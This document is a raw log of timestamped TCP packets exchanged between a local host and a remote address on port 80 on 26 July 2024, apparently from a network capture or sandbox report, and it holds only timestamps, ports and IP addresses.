Jul 26, 2024 13:49:26.585258961 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.585268974 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.585279942 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.585290909 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.585302114 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.586106062 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.586106062 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.586591959 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.586610079 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.586621046 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.586632013 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.586642027 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.586652040 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.586662054 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.586680889 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.586692095 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.586698055 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.586708069 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.586718082 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.586730003 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.586740017 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.586750984 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.586760998 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.586777925 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.586788893 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.586800098 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.587326050 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.587337971 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.587349892 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.587439060 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.587450981 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.587460995 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.587472916 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.587769985 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.587779999 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.587791920 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.587804079 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.587815046 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.587826014 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.587882996 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.590334892 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.590394974 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.590394974 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.590440035 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.590454102 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.672208071 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.672278881 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.672316074 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.672324896 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.672349930 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.672385931 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.672445059 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.672499895 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.672513962 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.672550917 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.672564983 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.672596931 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.672630072 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.672665119 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.672677040 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.672708988 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.672741890 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.672779083 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.673084974 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.673132896 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.673166037 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.673197985 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.673230886 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.673263073 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.673296928 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.673329115 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.673362017 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.673393965 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.673427105 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.673459053 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.673491955 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.673522949 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.673556089 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.673588037 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.673620939 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.673651934 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.673773050 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.673943043 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.674001932 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.674001932 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.674746990 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.674782991 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.674818039 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.674850941 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.674884081 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.674916029 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.674948931 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.674982071 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.675014973 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.675046921 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.675066948 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.675081968 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.675096035 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.675112009 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.675127029 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.675142050 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.675156116 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.675172091 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.675185919 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.675201893 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.676058054 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.676074028 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.676074028 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.676532984 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.676547050 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.676558018 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.676568985 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.676580906 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.676593065 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.676685095 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.676698923 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.676703930 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.676708937 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.676713943 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.676718950 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.676723957 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.676728010 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.676732063 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.676739931 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.676744938 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.676747084 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.676757097 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.676768064 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.678833961 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.678833961 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.678853035 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.681545973 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.681559086 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.681576014 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.681587934 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.681596994 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.681612015 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.681617022 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.681622982 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.681627989 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.681628942 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.681632042 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.681643009 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.681653976 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.681663990 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.681674957 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.681680918 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.681691885 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.681703091 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.681715012 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.681726933 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.681749105 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.681863070 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.682459116 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.691946983 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.691999912 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.692033052 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.692065954 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.692080975 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.692080975 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.692100048 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.692152023 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.692183971 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.692217112 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.692248106 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.692255020 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.692281961 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.692316055 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.692347050 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.692379951 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.692411900 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.692444086 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.692476988 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.692536116 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.693945885 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.694010973 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.759197950 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.759269953 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.759305954 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.759339094 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.759339094 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.759392977 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.759426117 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.759459972 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.759493113 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.759525061 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.759525061 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.759545088 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.759577990 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.759628057 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.759660959 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.759691954 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.759695053 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.759727001 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.759759903 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.759769917 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.759769917 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.759790897 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.759798050 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.759810925 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.759830952 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.759864092 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.759896994 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.759931087 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.759939909 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.759939909 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.760021925 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.760077000 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.760169029 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.760201931 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.760236025 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.760267973 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.760301113 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.760334015 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.760368109 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.760401011 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.760433912 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.760467052 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.760754108 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.760787010 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.760822058 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.760854006 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.760886908 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.760919094 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.760951996 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.760983944 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.761017084 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.761048079 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.761080980 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.761113882 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.761166096 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.761208057 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.761253119 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.761296034 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.761339903 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.761383057 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.761640072 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.761686087 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.761729002 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.761795998 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.761837006 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.761879921 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.761924982 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.761967897 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.762011051 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.762053967 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.762096882 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.762142897 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.762187004 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.762248039 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.762294054 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.762336969 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.762381077 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.762425900 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.762471914 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.762516022 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.767148018 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.767148018 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.767148018 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.767277956 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.767277956 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.767304897 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.767723083 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.767738104 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.767748117 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.767759085 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.767770052 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.767780066 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.767791986 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.767802000 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.767812967 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.767822981 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.767832994 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.767843962 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.767853975 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.767864943 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.767874956 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.767884970 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.767895937 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.767905951 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.767915964 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.767925978 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.767935991 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.767946005 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.767956018 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.767966032 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.767976046 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.767987013 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.767996073 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.768007040 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.768018007 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.768028021 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.768038034 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.768048048 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.768058062 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.768069029 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.768083096 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.768093109 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.768102884 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.768112898 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.768135071 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.768141031 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.768146038 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.776012897 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.776014090 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.776014090 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.845733881 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.845747948 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.845761061 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.845840931 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.845845938 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.845845938 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.845851898 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.845863104 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.845875025 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.846049070 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.846049070 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.846085072 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.846101999 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.846113920 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.846126080 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.846137047 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.846334934 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.846345901 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.846355915 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.846366882 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.846388102 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.846393108 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.846395969 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.846406937 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.846417904 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.846678972 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.846689939 CEST	80	59020	85.28.47.31	192.168.2.6
